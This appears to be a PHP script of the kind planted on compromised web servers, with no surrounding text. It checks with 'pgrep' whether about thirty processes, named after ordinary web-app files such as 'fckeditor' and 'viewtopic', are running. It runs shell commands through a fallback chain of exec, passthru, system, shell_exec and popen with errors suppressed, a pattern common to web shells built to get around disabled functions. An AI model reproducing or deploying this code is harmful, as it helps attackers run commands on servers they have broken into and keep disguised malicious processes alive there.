<?php   $files = ['recipeform.inc','menu_lingua','action.setprefs','setup_info_class','iconlookup','fckeditor','Link.inc','default_elements','senduseremail','stats_chart','trackback','message_stack','spcc_mail','fantversion','phpbb2018.inc','actionprod','last_gallery','spiders.inc','extgalleryMailer','addgroup','viewtopic','contactUs','newCourseNote','index_cat','config_edit_news','view.article','bar.transfer','class.example','tell_a_friend','lib_WPcomment']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }